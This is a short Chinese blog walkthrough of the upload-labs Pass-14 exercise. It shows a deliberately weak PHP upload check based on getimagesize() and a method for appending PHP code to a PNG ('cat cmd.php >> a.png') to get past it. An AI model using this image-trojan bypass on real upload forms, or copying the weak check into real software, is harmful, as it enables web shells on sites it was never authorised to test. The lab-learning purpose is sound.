c0ny1/upload-labs文件上传漏洞之后端只检查图片信息不检查内容Pass-14


本文记录Pass-14

查看代码

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

可以看到,只要getimagesize()函数认为文件是图片,就直接保存了,而getimagesize()是不检查图片内容的,这样就可以传图片马。

cmd.php

<?php phpinfo(); ?>

制作图片马

cat  cmd.php >> a.png

上传成功。
执行结果和Pass-13一样。

声明:物博网|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - c0ny1/upload-labs文件上传漏洞之后端只检查图片信息不检查内容Pass-14


喜欢安全与WEB开发